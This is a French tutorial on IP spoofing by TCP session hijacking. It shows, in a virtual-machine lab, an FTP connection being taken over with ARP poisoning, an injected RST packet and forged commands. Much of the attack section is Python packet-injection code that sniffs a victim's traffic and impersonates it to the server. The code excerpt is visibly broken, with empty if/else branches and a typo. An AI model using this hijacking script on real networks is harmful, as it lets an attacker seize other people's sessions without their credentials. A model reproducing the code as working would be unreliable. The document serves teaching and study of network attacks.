IP Spoofing
II°) IP Spoofing
Nous avons désormais toutes les armes pour exploiter un IP Spoofing : à l'aide
d'un ARP Poisoning, nous pourrons écouter les conversations entre un ordinateur A et un ordinateur
B. Lorsqu'on le souhaite, on peut isoler A de la conversation par RST Hijacking. On est ensuite libre
de reprendre la conversation à la place de la victime.
Désynchronisation
Le critère déterminant dans la réussite d'un IP Spoofing par désynchronisation préalable des réels
participants est le timing. En effet, si une de nos requêtes part légèrement en retard ou est devancée
par une requête légitime, elle sera ignorée. La manière dont les deux parties traitent les exceptions
de connexion (e.g. les paquets RST) peut aussi différer. Par exemple, certains clients tentent de retransmettre leurs
messages après réception d'un RST. Sans nouvelles de la part du client, le serveur peut aussi tenter
d'injecter des paquets sans importance pour vérifier que la victime est toujours présente. De manière
générale, il faut donc opérer relativement vite : losrque la victime a envoyé un paquet au serveur et
qu'il y a une légère temporisation, il est temps d'envoyer un paquet RST à celle-ci pour la désynchroniser.
Pour répondre à certains clients qui vont réemettre les trames, on envoie immédiatement un paquet légitime
au serveur. De cette manière, il y aura double désynchronisation et les nouveaux paquets de la victime
seront ignorés.
Illustration
Dans l'exemple suivant, nous avons pris pour cible la machine A (192.168.1.10), qui
maintient une connexion ftp active avec la machine B (ici ftp.bases-hacking.org). Nous épions depuis la
machine C (appartenant à 192.168.1.0/24). Ce réseau local est en réalité un réseau de machines virtuelles qui agit
comme si nous nous trouvions en présence d'un réseau non switché. Par conséquent, cela reviendrait
au même que de laisser tourner sur C en tâche de fond un ARP poisoning avec comme victime 192.168.1.10
et comme passerelle 192.168.1.1 en activant le reroutage systématique. L'avantage d'ailleurs d'un IP
Spoofing par rapport à une simple injection + non forwarding des paquets (on écoute jusqu'à décider
d'arrêter de retransmettre les paquets de la cible puis on injecte nos propre paquets) est que cette
technique peut s'adapter dans tout réseau où l'on est capable de connaître les numéros de séquence
(que ce soit dû à une mauvaise génération aléatoire, à du sniffing passif ou à du sniffing actif).
Dans le petit script suivant, on sniffe les connexions TCP d'une victime sur un certain port. Lorsqu'une
connexion active (pas de SYN, pas de FIN, pas de RST) est maintenue, on attend une réponse du serveur
et un paquet du client avant d'injecter notre RST et notre paquet légitime. Ensuite, nous sommes libres
d'insérer n'importe quelle commande (extraits du script python d'exploitation) :
def tcp_inject_rst(pc,template,control_nums):
# Setting control numbers
template.ip.id = random.randint(10000,15000)
[template.ip.tcp.seq,template.ip.tc.ack] = control_nums
# Window size=0, resetting TCP offset
template.ip.tcp.win = 0
template.ip.tcp.off_x2 = ((5 << 4) | 0)
# Injecting RST
template.ip.tcp.flags = RST
# Deleting extra data
diff = len(template.ip.tcp.data) + len(template.ip.tcp.opts)
template.ip.len = template.ip.len - diff
template.ip.tcp.data, template.ip.tcp.opts = "", ""
# Resetting checksums
template.ip.sum=0
template.ip.tcp.sum=0
# Injecting
pc.inject(str(template),60)
def get_resp(pc,template,control_nums,timestamps,data):
# Increment IP id
control_nums[0] = control_nums[0] + 1
# Inject cmd
tcp_inject_data(pc,template,control_nums,[timestamps[0],timestamps[2]],data)
decode = { pcap.DLT_LOOP:Loopback,
pcap.DLT_NULL:Loopback,
pcap.DLT_EN10MB:Ethernet }[pc.datalink()]
# Wait for the reply
for ts,pkt in pc:
tcp = decode(pkt).ip.tcp
if tcp.data == "":
# Keep track of new control numbers & timestamps
timestamps[2] = tcp.opts[4:8]
control_nums[0] = control_nums[0] + 1
control_nums[1] = tcp.ack
control_nums[2] = tcp.seq+len(tcp.data)
tcp_inject_data(pc,template,control_nums,[timestamps[0],timestamps[2]])
return (tcp.data,control_nums,timestamps)
def sniff(interface,victim,hijacked_port):
pc = pcap.pcap(interface)
# To sniff the victim's packet, the network shouldn't be switched
# or traffic hijacking techniques (e.g. ARP poisoning) should be used in parallel
# Process only packets from and to the victim with hijacked_port as remote port
pc.setfilter("( ip src " + victim + " and tcp dst port " + str(hijacked_port) + " ) or ( ip dst " + victim + " and tcp src port " + str(hijacked_port) + " )")
decode = { pcap.DLT_LOOP:Loopback,
pcap.DLT_NULL:Loopback,
pcap.DLT_EN10MB:Ethernet }[pc.datalink()]
remote=None
template_pkt=None
template_cmd=None
# Processing loop
for ts, pkt in pc:
# We know filtered packets are TCP only
ip = decode(pkt).ip
tcp = ip.tcp
flags = tcp.flags
if flags & SYN == 0 and flags & FIN == 0 and flags & RST == 0:
src = bytesToIPstr(ip.src)
dst = bytesToIPstr(ip.dst)
if remote == None: # Not attached yet
print "Active connection from " + src + " to " + dst + " on port " + str(hijacked_port)
if src == victim:
else:
if remote == src:
elif remote == dst:
if len(tcp.data) != 0:
template_cmd = decode(pkt)
last_ack=int(tcp.ack)
last_seq=int(tcp.seq)
last_len = len(tcp.data)
last_id = int(ip.id)
if template_pkt != None and template_cmd != None:
# Now doing the job
if last_len==0:
# RST Hijacking
# Ack last recvd packet (seq+last_len) to reduce retransmission prob.
print "RST Hijacking... ",
tcp_inject_rst(pc,template_pkt,(last_ack,last_seq+last_len))
print "done.\n"
# Ignore the packets sent by the victim
victim_port = template_cmd.ip.tcp.sport
pc.setfilter("ip src " + remote + " and tcp dst port " + str(victim_port) + " and tcp src port " + str(hijacked_port))
print "\nNow impersonating " + victim + ":" + str(victim_port) + " in its connection to " + remote + ":" + str(hijacked_port)
# Injecting a legal packet to finalize the victim's desynchronization
input = "CWD /"
print "ftp> " + input
exit_keys=("bye","quit","exit")
while input.lower() not in exit_keys:
input = input.strip("\n") + "\r\n"
(data,[last_id,last_seq,last_ack],[last_tval,last_timestamp,last_tsecr]) = get_resp(pc,template_cmd,[last_id,last_seq,last_ack],[last_tval,last_timestamp,last_tsecr],input)
print data
input = raw_input("ftp> ")
On remarquera l'utilisation de librairies non-universelles : dpkt
(forge/lecture de paquets), pcap (interface à libpcap, sniffing
et injcetion). Elles servent comme on peut le constater sur le code ci-dessus à représenter de
façon simple et orientée objet les paquets capturés et injectés. Pour faciliter la compréhension, ce
bout de code n'est pas complet mais permet tout de même d'appréhender le mécanisme global et les manières
de sniffer et d'injecter avec ces librairies.
Bien sûr, l'heuristique d'injection n'est pas réellement évoluée. Il faudrait effectuer
une analyse temporelle (attendre une seconde, puis, s'il n'y a pas de nouveaux paquets, injecter)
et même dépendante du protocole (typiquement dans FTP, on sait que lorsque un client envoie CWD X, le
serveur va lui répondre avec un succès ou un échec, puis le client va acquiescer la réponse, donc il y aura
nécessairement une temporisation après cet acquittement et c'est à ce moment que notre programme va
effectuer l'injection). Essayons donc de nous connecter :
Sur ces images, vous l'aurez deviné, le cadre du fond est l'écran du poste attaquant C et la fenêtre
de commande au premier plan est celle de la victime A.
A ce niveau, le client maintient une connexion active vers B comme prévu (mais le poste attaquant
n'as pas assisté au handshake avec les identifiants). Démarrons donc notre programme de TCP
Hijacking et attendons la première commande du client (qui sera "cd :" qui est l'équivalent de "CWD :"
en FTP) :
Comme on le voit, le client a bien reçu une réponse cohérente (550 failed to change directory puisque
":" n'est pas un chemin valide). Pendant ce temps, notre programme a injecté un paquet RST et une commande
"CWD /", qui a l'air d'avoir elle aussi reçue une réponse valide ! Essayons donc une nouvelle commande de
chaque côté pour tester la connectivité :
Côté attaquant, nous avons donc réussi à effectuer une deuxième communication légitime avec la commande
SYST. Nous sommes donc apparemment bien A aux yeux de B (et qui plus est, sans connaître les identifiants, même
si dans le cas d'une communication FTP ils sont facilement appréhendables par spoofing).
Côté cible, on a subit une fermeture "inopinée" de la connexion, comme on pouvait s'y attendre.
Afin de confirmer le déroulement de l'attaque, jetons un coup d'oeil aux trames qui sont passées :
On observe bien la première requête légitime, "CWD :". Juste après l'acquittement (trame 470) de la réponse
550 (trame 469), on repère facilement en rouge le RST qui a été injecté. Tout de suite après, le "CWD /" dont
la tâche est d'achever la désynchronisation de notre victime est bien envoyé et reçoit une réponse cohérente,
tout comme le "SYST" qui suit. On remarque que le deuxième "CWD /" essayé avec la victime n'a pas été envoyé
(ce qui est logique puisque pour le client FTP la connexion avait été fermée depuis bien longtemps).
On imagine bien que la victime, habituée aux aléas de la l'informatique, va réouvrir
une deuxième connexion vers B, laissant donc C indéfinitivement avec la connexion détournée.
Au niveau réalisation, certaines particularités de l'extension de TCP définie en RFC 1323 pour la
performance du protocole rajoutent certaines difficultés. Par exemple, il est nécessaire de définir des
timestamps qu'il faudra ajouter de manière précise (à chaque message, on envoie le timestamp local
ainsi qu'un echo du dernier timestamp distant reçu et chaque côté vérifie que les timestamps sont
plausibles). Ainsi, dans le petit script d'exploitation qui
est disponible dans les sources, il y a notamment des instructions ajoutées qui visent
à respecter ces spécifications afin que le paquet soit traité par le serveur FTP (je ne l'ai pas réellement testé
ceci dit).
Parmi les nombreuses possibilités à la réalisation d'un spoofing, les attaques sur le DNS ont toujours
eu la part belle, dû au rôle central qu'a ce protocole dans l'Internet, protocole pourtant intrinsèquement
non sûr (UDP) et basé sur la confiance. C'est sur ces attaques que nous allons nous arrêter avec le prochain article.
3 Commentaires
Commentaires désactivés.